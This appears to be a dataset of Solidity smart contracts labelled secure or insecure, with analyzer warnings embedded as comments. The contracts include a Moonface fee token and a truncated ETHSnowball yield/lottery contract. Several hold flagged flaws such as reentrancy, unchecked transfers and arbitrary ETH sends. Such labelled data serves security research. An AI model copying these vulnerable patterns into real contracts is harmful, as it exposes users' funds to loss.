files dict |
|---|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\n\ncontract Moonface is ERC20, Ownable {\n\t// WARNING Optimization Issue (immutable-states | ID: 79d2a1e): Moonface.uniswapV2Router should be immutable \n\t// Recommendation for 79d2a1e: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 public uniswapV2Router;\n\t// WARNING Optimization Issue (immutable-states | ID: 6070ce9): Moonface.uniswapV2Pair should be immutable \n\t// Recommendation for 6070ce9: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public uniswapV2Pair;\n\n mapping(address => bool) private _isExcludedFromFees;\n\n uint256 public tradingActiveTime;\n\n\t// WARNING Optimization Issue (constable-states | ID: cdc618f): Moonface.buyFee should be constant \n\t// Recommendation for cdc618f: Add the 'constant' attribute to state variables that never change.\n uint256 private buyFee;\n\t// WARNING Optimization Issue (constable-states | ID: a6a2da2): Moonface.sellFee should be constant \n\t// Recommendation for a6a2da2: Add the 'constant' attribute to state variables that never change.\n uint256 private sellFee;\n\n address public marketingWallet;\n\t// WARNING Optimization Issue (constable-states | ID: 4698a1f): Moonface.DEAD should be constant \n\t// Recommendation for 4698a1f: Add the 'constant' attribute to state variables that never change.\n address private DEAD = 0x000000000000000000000000000000000000dEaD;\n\n bool public tradingEnabled;\n\n uint256 public swapTokensAtAmount;\n bool public swapWithLimit;\n bool private swapping;\n\n event ExcludeFromFees(address indexed account, bool isExcluded);\n event ExcludedFromMaxTransactionLimit(\n address indexed account,\n bool isExcluded\n );\n event ExcludedFromMaxWalletLimit(address indexed account, bool isExcluded);\n event MaxWalletLimitAmountChanged(uint256 maxWalletLimitRate);\n event MaxWalletLimitStateChanged(bool maxWalletLimit);\n event MaxTransactionLimitAmountChanged(uint256 maxTransferRate);\n event MaxTransactionLimitStateChanged(bool maxTransactionLimit);\n event SwapTokensAtAmountUpdated(uint256 swapTokensAtAmount);\n event SwapAndSend(uint256 tokensSwapped, uint256 valueReceived);\n event SwapWithLimitUpdated(bool swapWithLimit);\n\n constructor() ERC20(\"Moonface\", \"MOONFACE\") {\n address newOwner = 0xE6cf1c97b76F2d8946c8756C6fc30f8ca526c0ee;\n transferOwnership(newOwner);\n\n address router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;\n IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(router);\n address _uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())\n .createPair(address(this), _uniswapV2Router.WETH());\n\n uniswapV2Router = _uniswapV2Router;\n uniswapV2Pair = _uniswapV2Pair;\n\n _approve(address(this), address(uniswapV2Router), type(uint256).max);\n\n marketingWallet = 0x6D5865440aC6b61C483950421369062EE7dFD9cd;\n\n _isExcludedFromFees[owner()] = true;\n _isExcludedFromFees[address(0xdead)] = true;\n _isExcludedFromFees[address(this)] = true;\n\n _isExcludedFromMaxTxLimit[owner()] = true;\n _isExcludedFromMaxTxLimit[address(0)] = true;\n _isExcludedFromMaxTxLimit[address(this)] = true;\n _isExcludedFromMaxTxLimit[DEAD] = true;\n\n _isExcludedFromMaxWalletLimit[owner()] = true;\n _isExcludedFromMaxWalletLimit[address(0)] = true;\n _isExcludedFromMaxWalletLimit[address(this)] = true;\n _isExcludedFromMaxWalletLimit[DEAD] = true;\n\n _init(owner(), 1e9 ether);\n swapTokensAtAmount = totalSupply() / 5000;\n\n maxTransactionAmount = totalSupply() / 100;\n maxWalletAmount = totalSupply() / 100;\n }\n\n receive() external payable {}\n\n function enableTrading() public onlyOwner {\n require(!tradingEnabled, \"Trading is already enabled\");\n tradingEnabled = true;\n tradingActiveTime = block.timestamp;\n }\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 8c737d9): Moonface.claimStuckTokens(address) ignores return value by ERC20token.transfer(msg.sender,balance)\n\t// Recommendation for 8c737d9: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function claimStuckTokens(address token) external onlyOwner {\n if (token == address(0x0)) {\n (bool success, ) = msg.sender.call{value: address(this).balance}(\n \"\"\n );\n require(success, \"Claim failed\");\n return;\n }\n IERC20 ERC20token = IERC20(token);\n uint256 balance = ERC20token.balanceOf(address(this));\n\t\t// unchecked-transfer | ID: 8c737d9\n ERC20token.transfer(msg.sender, balance);\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 4e97c5e): Dangerous usage of 'block.timestamp'. 'block.timestamp' can be manipulated by miners.\n\t// Recommendation for 4e97c5e: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (uninitialized-local | severity: Medium | ID: 0f63f8b): Moonface.getBuyFee()._buyFee is a local variable never initialized\n\t// Recommendation for 0f63f8b: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function getBuyFee() public view returns (uint256) {\n uint256 _buyFee;\n\n\t\t// timestamp | ID: 4e97c5e\n if (block.timestamp - tradingActiveTime < 15 minutes) {\n _buyFee = 5;\n } else if (\n\t\t\t// timestamp | ID: 4e97c5e\n block.timestamp - tradingActiveTime >= 15 minutes &&\n block.timestamp - tradingActiveTime < 25 minutes\n ) {\n _buyFee = 1;\n\t\t// timestamp | ID: 4e97c5e\n } else if (block.timestamp - tradingActiveTime >= 25 minutes) {\n _buyFee = 0;\n }\n\n return _buyFee;\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: b89bf8f): Dangerous usage of 'block.timestamp'. 'block.timestamp' can be manipulated by miners.\n\t// Recommendation for b89bf8f: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (uninitialized-local | severity: Medium | ID: 56002c5): Moonface.getSellFee()._sellFee is a local variable never initialized\n\t// Recommendation for 56002c5: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function getSellFee() public view returns (uint256) {\n uint256 _sellFee;\n\n\t\t// timestamp | ID: b89bf8f\n if (block.timestamp - tradingActiveTime < 5 minutes) {\n _sellFee = 15;\n } else if (\n\t\t\t// timestamp | ID: b89bf8f\n block.timestamp - tradingActiveTime >= 5 minutes &&\n block.timestamp - tradingActiveTime < 10 minutes\n ) {\n _sellFee = 10;\n } else if (\n\t\t\t// timestamp | ID: b89bf8f\n block.timestamp - tradingActiveTime >= 10 minutes &&\n block.timestamp - tradingActiveTime < 15 minutes\n ) {\n _sellFee = 5;\n } else if (\n\t\t\t// timestamp | ID: b89bf8f\n block.timestamp - tradingActiveTime >= 15 minutes &&\n block.timestamp - tradingActiveTime < 25 minutes\n ) {\n _sellFee = 1;\n\t\t// timestamp | ID: b89bf8f\n } else if (block.timestamp - tradingActiveTime >= 25 minutes) {\n _sellFee = 0;\n }\n\n return _sellFee;\n }\n\n function excludeFromFees(\n address account,\n bool excluded\n ) external onlyOwner {\n require(\n _isExcludedFromFees[account] != excluded,\n \"Account is already the value of 'excluded'\"\n );\n _isExcludedFromFees[account] = excluded;\n\n emit ExcludeFromFees(account, excluded);\n }\n\n function isExcludedFromFees(address account) public view returns (bool) {\n return _isExcludedFromFees[account];\n }\n\n function changeMarketingWallet(\n address _marketingWallet\n ) external onlyOwner {\n require(\n _marketingWallet != address(0),\n \"Marketing wallet cannot be the zero address\"\n );\n marketingWallet = _marketingWallet;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: b6d0350): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for b6d0350: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: dd87b2a): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for dd87b2a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal override {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n require(\n tradingEnabled ||\n _isExcludedFromFees[from] ||\n _isExcludedFromFees[to],\n \"Trading is not enabled yet\"\n );\n\n if (amount == 0) {\n super._transfer(from, to, 0);\n return;\n }\n\n if (maxTransactionLimitEnabled) {\n if (\n (from == uniswapV2Pair || to == uniswapV2Pair) &&\n _isExcludedFromMaxTxLimit[from] == false &&\n _isExcludedFromMaxTxLimit[to] == false\n ) {\n require(\n amount <= maxTransactionAmount,\n \"AntiWhale: Transfer amount exceeds the maxTransactionAmount\"\n );\n }\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n bool canSwap = contractTokenBalance >= swapTokensAtAmount;\n\n if (canSwap && !swapping && to == uniswapV2Pair) {\n swapping = true;\n\n if (swapWithLimit) {\n contractTokenBalance = swapTokensAtAmount;\n }\n\n\t\t\t// reentrancy-events | ID: b6d0350\n\t\t\t// reentrancy-eth | ID: dd87b2a\n swap(contractTokenBalance);\n\n\t\t\t// reentrancy-eth | ID: dd87b2a\n swapping = false;\n }\n\n uint256 _totalFees;\n if (_isExcludedFromFees[from] || _isExcludedFromFees[to] || swapping) {\n _totalFees = 0;\n } else if (from == uniswapV2Pair) {\n _totalFees = getBuyFee();\n } else if (to == uniswapV2Pair) {\n _totalFees = getSellFee();\n } else {\n _totalFees = 0;\n }\n\n if (_totalFees > 0) {\n uint256 fees = (amount * _totalFees) / 100;\n amount = amount - fees;\n\t\t\t// reentrancy-events | ID: b6d0350\n\t\t\t// reentrancy-eth | ID: dd87b2a\n super._transfer(from, address(this), fees);\n }\n\n if (maxWalletLimitEnabled) {\n if (\n _isExcludedFromMaxWalletLimit[from] == false &&\n _isExcludedFromMaxWalletLimit[to] == false &&\n to != uniswapV2Pair\n ) {\n uint256 balance = balanceOf(to);\n require(\n balance + amount <= maxWalletAmount,\n \"MaxWallet: Recipient exceeds the maxWalletAmount\"\n );\n }\n }\n\n\t\t// reentrancy-events | ID: b6d0350\n\t\t// reentrancy-eth | ID: dd87b2a\n super._transfer(from, to, amount);\n }\n\n function setSwapTokensAtAmount(uint256 newAmount) external onlyOwner {\n require(\n newAmount > totalSupply() / 1000000,\n \"SwapTokensAtAmount must be greater than 0.0001% of total supply\"\n );\n swapTokensAtAmount = newAmount;\n emit SwapTokensAtAmountUpdated(swapTokensAtAmount);\n }\n\n function setSwapWithLimit(bool _swapWithLimit) external onlyOwner {\n swapWithLimit = _swapWithLimit;\n emit SwapWithLimitUpdated(swapWithLimit);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: b47b99d): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for b47b99d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: d7c07d5): Moonface.swap(uint256) sends eth to arbitrary user Dangerous calls success = address(marketingWallet).send(newBalance)\n\t// Recommendation for d7c07d5: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function swap(uint256 tokenAmount) private {\n uint256 initialBalance = address(this).balance;\n\n address[] memory path = new address[](2);\n path[0] = address(this);\n path[1] = uniswapV2Router.WETH();\n\n\t\t// reentrancy-events | ID: b6d0350\n\t\t// reentrancy-events | ID: b47b99d\n\t\t// reentrancy-eth | ID: dd87b2a\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n\n uint256 newBalance = address(this).balance - initialBalance;\n\n\t\t// reentrancy-events | ID: b6d0350\n\t\t// reentrancy-events | ID: b47b99d\n\t\t// reentrancy-eth | ID: dd87b2a\n\t\t// arbitrary-send-eth | ID: d7c07d5\n bool success = payable(marketingWallet).send(newBalance);\n if (success) {\n\t\t\t// reentrancy-events | ID: b47b99d\n emit SwapAndSend(tokenAmount, newBalance);\n }\n }\n\n mapping(address => bool) private _isExcludedFromMaxWalletLimit;\n bool public maxWalletLimitEnabled = true;\n uint256 public maxWalletAmount;\n\n function setEnableMaxWalletLimit(bool enable) external onlyOwner {\n require(\n enable != maxWalletLimitEnabled,\n \"Max wallet limit is already set to that state\"\n );\n maxWalletLimitEnabled = enable;\n emit MaxWalletLimitStateChanged(maxWalletLimitEnabled);\n }\n\n function setMaxWalletAmount(uint256 _maxWalletAmount) external onlyOwner {\n require(\n _maxWalletAmount >= (totalSupply() / (10 ** decimals())) / 100,\n \"Max wallet percentage cannot be lower than 1%\"\n );\n maxWalletAmount = _maxWalletAmount * (10 ** decimals());\n emit MaxWalletLimitAmountChanged(maxWalletAmount);\n }\n\n function setExcludeFromMaxWallet(\n address account,\n bool exclude\n ) external onlyOwner {\n require(\n _isExcludedFromMaxWalletLimit[account] != exclude,\n \"Account is already set to that state\"\n );\n _isExcludedFromMaxWalletLimit[account] = exclude;\n emit ExcludedFromMaxWalletLimit(account, exclude);\n }\n\n function isExcludedFromMaxWalletLimit(\n address account\n ) public view returns (bool) {\n return _isExcludedFromMaxWalletLimit[account];\n }\n\n mapping(address => bool) private _isExcludedFromMaxTxLimit;\n bool public maxTransactionLimitEnabled = true;\n uint256 public maxTransactionAmount;\n\n function setEnableMaxTransactionLimit(bool enable) external onlyOwner {\n require(\n enable != maxTransactionLimitEnabled,\n \"Max transaction limit is already set to that state\"\n );\n maxTransactionLimitEnabled = enable;\n emit MaxTransactionLimitStateChanged(maxTransactionLimitEnabled);\n }\n\n function setMaxTransactionAmount(\n uint256 _maxTransactionAmount\n ) external onlyOwner {\n require(\n _maxTransactionAmount >=\n (totalSupply() / (10 ** decimals())) / 1000,\n \"Max Transaction limis cannot be lower than 0.1% of total supply\"\n );\n maxTransactionAmount = _maxTransactionAmount * (10 ** decimals());\n emit MaxTransactionLimitAmountChanged(maxTransactionAmount);\n }\n\n function setExcludeFromMaxTransactionLimit(\n address account,\n bool exclude\n ) external onlyOwner {\n require(\n _isExcludedFromMaxTxLimit[account] != exclude,\n \"Account is already set to that state\"\n );\n _isExcludedFromMaxTxLimit[account] = exclude;\n emit ExcludedFromMaxTransactionLimit(account, exclude);\n }\n\n function isExcludedFromMaxTransaction(\n address account\n ) public view returns (bool) {\n return _isExcludedFromMaxTxLimit[account];\n }\n}",
"file_name": "solidity_code_2439.sol",
"secure": 0,
"size_bytes": 17670
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/extensions/ERC20Detailed.sol\" as ERC20Detailed;\nimport \"@openzeppelin/contracts/token/ERC20/extensions/ERC20Capped.sol\" as ERC20Capped;\nimport \"@openzeppelin/contracts/token/ERC20/extensions/ERC20Mintable.sol\" as ERC20Mintable;\nimport \"./TokenOwner.sol\" as TokenOwner;\nimport \"./ServicePayer.sol\" as ServicePayer;\nimport \"./ERC20Decimals.sol\" as ERC20Decimals;\n\ncontract MintableERC20 is\n ERC20Detailed,\n ERC20Capped,\n ERC20Mintable,\n TokenOwner,\n ServicePayer\n{\n constructor(\n string memory name_,\n string memory symbol_,\n uint8 decimals_,\n uint256 cap_,\n uint256 initialBalance_,\n bytes memory signature_,\n address payable feeReceiver_\n )\n payable\n ERC20Detailed(name_, symbol_, decimals_)\n ERC20Capped(cap_)\n ServicePayer(feeReceiver_, \"MintableERC20\", signature_, _msgSender())\n {\n _generate(_msgSender(), initialBalance_);\n }\n\n function mint(address account, uint256 value) external onlyOwner {\n super._generate(account, value);\n }\n\n function finishMinting() external onlyOwner {\n super._finishMinting();\n }\n\n function decimals()\n public\n view\n override(ERC20, ERC20Decimals)\n returns (uint8)\n {\n return super.decimals();\n }\n\n function _update(\n address from,\n address to,\n uint256 value\n ) internal override(ERC20, ERC20Capped) {\n super._update(from, to, value);\n }\n}",
"file_name": "solidity_code_244.sol",
"secure": 1,
"size_bytes": 1652
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IRandomGenerator {\n function getRandomNumber(uint256 _count) external view returns (uint256);\n}",
"file_name": "solidity_code_2440.sol",
"secure": 1,
"size_bytes": 172
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"./IRandomGenerator.sol\" as IRandomGenerator;\n\ncontract ETHSnowball is Ownable {\n using SafeMath for uint256;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 488cdd5): ETHSnowball.randomGenerator should be immutable \n\t// Recommendation for 488cdd5: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IRandomGenerator public randomGenerator;\n\n uint256 public EGGS_TO_HIRE_1MINERS = 2880000;\n uint256 public REFERRAL = 50;\n\t// WARNING Optimization Issue (constable-states | ID: d6ed01e): ETHSnowball.PERCENTS_DIVIDER should be constant \n\t// Recommendation for d6ed01e: Add the 'constant' attribute to state variables that never change.\n uint256 public PERCENTS_DIVIDER = 1000;\n uint256 public EXTRA_BONUS = 200;\n uint256 public DECREASE_TAX = 500;\n uint256 public TAX = 100;\n uint256 public MARKET_EGGS_DIVISOR = 5;\n uint256 public MARKET_EGGS_DIVISOR_SELL = 2;\n\n uint256 public MIN_INVEST_LIMIT = 1 * 1e16;\n uint256 public WALLET_DEPOSIT_LIMIT = 50 * 1e18;\n\n uint256 public COMPOUND_BONUS_MAX_TIMES = 10;\n uint256 public COMPOUND_STEP = 1 days;\n\n uint256 public EARLY_WITHDRAWAL_TAX = 500;\n uint256 public COMPOUND_FOR_NO_TAX_WITHDRAWAL = 0;\n\n uint256 public LOTTERY_INTERVAL = 7 days;\n bool public lotteryStarted = false;\n\t// WARNING Optimization Issue (constable-states | ID: 009677d): ETHSnowball.ticketPrice should be constant \n\t// Recommendation for 009677d: Add the 'constant' attribute to state variables that never change.\n uint256 public ticketPrice = 1e16;\n uint256 public LOTTERY_START_TIME;\n uint16 public LOTTERY_ROUND;\n uint256 public winTicketID;\n\n uint256 public totalTax;\n\n\t// WARNING Optimization Issue (constable-states | ID: 85907ed): ETHSnowball.WHITELIST_COUNT should be constant \n\t// Recommendation for 85907ed: Add the 'constant' attribute to state variables that never change.\n uint256 public WHITELIST_COUNT = 5000;\n address[] public whitelist;\n mapping(address => bool) public isWhitelist;\n\n uint256 private marketEggs;\n\t// WARNING Optimization Issue (constable-states | ID: 2081958): ETHSnowball.PSN should be constant \n\t// Recommendation for 2081958: Add the 'constant' attribute to state variables that never change.\n uint256 PSN = 10000;\n\t// WARNING Optimization Issue (constable-states | ID: e9dc58f): ETHSnowball.PSNH should be constant \n\t// Recommendation for e9dc58f: Add the 'constant' attribute to state variables that never change.\n uint256 PSNH = 5000;\n bool private contractStarted;\n\n uint256 public CUTOFF_STEP = 4 days;\n uint256 public WITHDRAW_COOLDOWN = 1 days;\n\n address payable public marketingAddress;\n address payable public devAddress;\n\n struct User {\n uint256 initialDeposit;\n uint256 miners;\n uint256 claimedEggs;\n uint256 lastHatch;\n address referrer;\n uint256 referralsCount;\n uint256 referralEggRewards;\n uint256 dailyCompoundBonus;\n mapping(uint16 => uint256) ticketCount;\n uint8 level;\n }\n\n mapping(address => User) public users;\n\n struct PurchaseInfo {\n uint256 ticketIDFrom;\n uint256 tickets;\n address account;\n }\n\n struct LotteryInfo {\n address winnerAccount;\n uint256 totalTicketCnt;\n PurchaseInfo[] purchaseInfo;\n }\n\n mapping(uint16 => LotteryInfo) public lotteryInfo;\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 5b64076): ETHSnowball.constructor(address,address,address)._marketingAddress lacks a zerocheck on \t marketingAddress = _marketingAddress\n\t// Recommendation for 5b64076: Check that the address is not zero.\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: c8bf315): ETHSnowball.constructor(address,address,address)._devAddress lacks a zerocheck on \t devAddress = _devAddress\n\t// Recommendation for c8bf315: Check that the address is not zero.\n constructor(\n address payable _marketingAddress,\n address payable _devAddress,\n address _randomGenerator\n ) {\n\t\t// missing-zero-check | ID: 5b64076\n marketingAddress = _marketingAddress;\n\t\t// missing-zero-check | ID: c8bf315\n devAddress = _devAddress;\n randomGenerator = IRandomGenerator(_randomGenerator);\n marketEggs = 144000000000;\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 3a99cde): Dangerous usage of 'block.timestamp'. 'block.timestamp' can be manipulated by miners.\n\t// Recommendation for 3a99cde: Avoid relying on 'block.timestamp'.\n function CompoundRewards(address ref) public {\n require(contractStarted, \"Contract not yet Started.\");\n\n User storage user = users[msg.sender];\n if (user.referrer == address(0)) {\n if (ref != msg.sender) {\n user.referrer = ref;\n }\n\n address upline1 = user.referrer;\n if (upline1 != address(0)) {\n users[upline1].referralsCount = users[upline1]\n .referralsCount\n .add(1);\n }\n }\n\n uint256 eggsUsed = getMyEggs();\n if (\n\t\t\t// timestamp | ID: 3a99cde\n block.timestamp.sub(user.lastHatch) >= COMPOUND_STEP &&\n user.dailyCompoundBonus < COMPOUND_BONUS_MAX_TIMES\n ) {\n user.dailyCompoundBonus = user.dailyCompoundBonus.add(1);\n }\n\n user.miners = user.miners.add(eggsUsed.div(EGGS_TO_HIRE_1MINERS));\n user.claimedEggs = 0;\n user.lastHatch = block.timestamp;\n\n\t\t// timestamp | ID: 3a99cde\n if (user.referrer != address(0)) {\n address upline = user.referrer;\n uint256 refRewards = eggsUsed.mul(REFERRAL).div(PERCENTS_DIVIDER);\n users[upline].claimedEggs = SafeMath.add(\n users[upline].claimedEggs,\n refRewards\n );\n users[upline].referralEggRewards = users[upline]\n .referralEggRewards\n .add(refRewards);\n }\n\n marketEggs = marketEggs.add(eggsUsed.div(MARKET_EGGS_DIVISOR));\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 1399e23): ETHSnowball.ClaimRewards() uses timestamp for comparisons Dangerous comparisons require(bool)(user.lastHatch + WITHDRAW_COOLDOWN <= block.timestamp) user.level > 0 getBalance() < eggValue\n\t// Recommendation for 1399e23: Avoid relying on 'block.timestamp'.\n function ClaimRewards() public {\n require(contractStarted, \"Contract not yet Started.\");\n\n User storage user = users[msg.sender];\n\t\t// timestamp | ID: 1399e23\n require(user.lastHatch + WITHDRAW_COOLDOWN <= block.timestamp);\n\n uint256 hasEggs = getMyEggs();\n uint256 eggValue = calculateEggSell(hasEggs);\n\n if (user.dailyCompoundBonus < COMPOUND_FOR_NO_TAX_WITHDRAWAL) {\n eggValue = eggValue.sub(\n eggValue.mul(EARLY_WITHDRAWAL_TAX).div(PERCENTS_DIVIDER)\n );\n } else {\n user.dailyCompoundBonus = 0;\n }\n\n user.claimedEggs = 0;\n user.lastHatch = block.timestamp;\n marketEggs = marketEggs.add(hasEggs.div(MARKET_EGGS_DIVISOR_SELL));\n\n\t\t// timestamp | ID: 1399e23\n if (user.level > 0) {\n eggValue =\n eggValue +\n eggValue.mul(EXTRA_BONUS).div(PERCENTS_DIVIDER);\n }\n\n\t\t// timestamp | ID: 1399e23\n if (getBalance() < eggValue) {\n eggValue = getBalance();\n }\n\n uint256 eggsPayout = eggValue.sub(payFees(eggValue));\n\n payable(address(msg.sender)).transfer(eggsPayout);\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: c964582): Dangerous usage of 'block.timestamp'. 'block.timestamp' can be manipulated by miners.\n\t// Recommendation for c964582: Avoid relying on 'block.timestamp'.\n function BuySnows(address ref) public payable {\n require(contractStarted, \"Contract not yet Started.\");\n\n User storage user = users[msg.sender];\n if (lotteryStarted) {\n\t\t\t// timestamp | ID: c964582\n if (LOTTERY_START_TIME + LOTTERY_INTERVAL < block.timestamp) {\n UpdateRoundInfo();\n }\n\n uint256 ticketCnt = msg.value.div(ticketPrice);\n user.ticketCount[LOTTERY_ROUND] = user\n .ticketCount[LOTTERY_ROUND]\n .add(ticketCnt);\n\n lotteryInfo[LOTTERY_ROUND].purchaseInfo.push(\n PurchaseInfo({\n ticketIDFrom: lotteryInfo[LOTTERY_ROUND].totalTicketCnt,\n tickets: ticketCnt,\n account: msg.sender\n })\n );\n\n lotteryInfo[LOTTERY_ROUND].totalTicketCnt =\n lotteryInfo[LOTTERY_ROUND].totalTicketCnt +\n ticketCnt;\n }\n\n require(msg.value >= MIN_INVEST_LIMIT, \"Mininum investment not met.\");\n\t\t// timestamp | ID: c964582\n require(\n user.initialDeposit.add(msg.value) <= WALLET_DEPOSIT_LIMIT,\n \"Max deposit limit reached.\"\n );\n\n uint256 eggsBought = calculateEggBuy(\n msg.value,\n address(this).balance.sub(msg.value)\n );\n user.initialDeposit = user.initialDeposit.add(msg.value);\n user.claimedEggs = user.claimedEggs.add(eggsBought);\n\n if (\n\t\t\t// timestamp | ID: c964582\n !isWhitelist[msg.sender] &&\n user.initialDeposit >= 1 ether &&\n whitelist.length < WHITELIST_COUNT\n ) {\n isWhitelist[msg.sender] = true;\n whitelist.push(msg.sender);\n }\n\n payFees(msg.value);\n CompoundRewards(ref);\n }\n\n function throwSnowball(address addr) public payable {\n if (!contractStarted) {\n if (msg.sender == owner()) {\n contractStarted = true;\n BuySnows(addr);\n } else revert(\"Contract not yet started.\");\n }\n }\n\n function fundContract() external payable {}\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 69ea081): ETHSnowball.payFees(uint256) uses timestamp for comparisons Dangerous comparisons users[msg.sender].level > 1\n\t// Recommendation for 69ea081: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: b6cf915): ETHSnowball.payFees(uint256) performs a multiplication on the result of a division tax = eggValue.mul(TAX).div(PERCENTS_DIVIDER) tax = tax.mul(DECREASE_TAX).div(PERCENTS_DIVIDER)\n\t// Recommendation for b6cf915: Consider ordering multiplication before division.\n function payFees(uint256 eggValue) internal returns (uint256) {\n\t\t// divide-before-multiply | ID: b6cf915\n uint256 tax = eggValue.mul(TAX).div(PERCENTS_DIVIDER);\n\t\t// timestamp | ID: 69ea081\n if (users[msg.sender].level > 1) {\n\t\t\t// divide-before-multiply | ID: b6cf915\n tax = tax.mul(DECREASE_TAX).div(PERCENTS_DIVIDER);\n }\n totalTax = totalTax.add(tax);\n\n return tax;\n }\n\n function claimTax() external {\n payable(devAddress).transfer(totalTax.mul(150).div(PERCENTS_DIVIDER));\n payable(marketingAddress).transfer(\n totalTax.mul(850).div(PERCENTS_DIVIDER)\n );\n totalTax = 0;\n }\n\n function getBalance() public view returns (uint256) {\n return address(this).balance - totalTax;\n }\n\n function getTimeStamp() public view returns (uint256) {\n return block.timestamp;\n }\n\n function getAvailableEarnings(address _adr) public view returns (uint256) {\n uint256 userEggs = users[_adr].claimedEggs.add(\n getEggsSinceLastHatch(_adr)\n );\n return calculateEggSell(userEggs);\n }\n\n function calculateTrade(\n uint256 rt,\n uint256 rs,\n uint256 bs\n ) public view returns (uint256) {\n return\n SafeMath.div(\n SafeMath.mul(PSN, bs),\n SafeMath.add(\n PSNH,\n SafeMath.div(\n SafeMath.add(\n SafeMath.mul(PSN, rs),\n SafeMath.mul(PSNH, rt)\n ),\n rt\n )\n )\n );\n }\n\n function calculateEggSell(uint256 eggs) public view returns (uint256) {\n return calculateTrade(eggs, marketEggs, getBalance());\n }\n\n function calculateEggBuy(\n uint256 eth,\n uint256 contractBalance\n ) public view returns (uint256) {\n return calculateTrade(eth, contractBalance, marketEggs);\n }\n\n function calculateEggBuySimple(uint256 eth) public view returns (uint256) {\n return calculateEggBuy(eth, getBalance());\n }\n\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 44f1ee6): ETHSnowball.getEggsYield(uint256) performs a multiplication on the result of a division miners = eggsAmount.div(EGGS_TO_HIRE_1MINERS) eggsPerDay = day.mul(miners)\n\t// Recommendation for 44f1ee6: Consider ordering multiplication before division.\n function getEggsYield(\n uint256 amount\n ) public view returns (uint256, uint256) {\n uint256 eggsAmount = calculateEggBuy(\n amount,\n getBalance().add(amount).sub(amount)\n );\n\t\t// divide-before-multiply | ID: 44f1ee6\n uint256 miners = eggsAmount.div(EGGS_TO_HIRE_1MINERS);\n uint256 day = 1 days;\n\t\t// divide-before-multiply | ID: 44f1ee6\n uint256 eggsPerDay = day.mul(miners);\n uint256 earningsPerDay = calculateEggSellForYield(eggsPerDay, amount);\n return (miners, earningsPerDay);\n }\n\n function calculateEggSellForYield(\n uint256 eggs,\n uint256 amount\n ) public view returns (uint256) {\n return calculateTrade(eggs, marketEggs, getBalance().add(amount));\n }\n\n function getMyEggs() public view returns (uint256) {\n return\n users[msg.sender].claimedEggs.add(\n getEggsSinceLastHatch(msg.sender)\n );\n }\n\n function getEggsSinceLastHatch(address adr) public view returns (uint256) {\n uint256 secondsSinceLastHatch = block.timestamp.sub(\n users[adr].lastHatch\n );\n\n uint256 cutoffTime = min256(secondsSinceLastHatch, CUTOFF_STEP);\n uint256 secondsPassed = min256(EGGS_TO_HIRE_1MINERS, cutoffTime);\n return secondsPassed.mul(users[adr].miners);\n }\n\n function levelGift(address _account) external {\n require(msg.sender == owner(), \"Admin use only\");\n 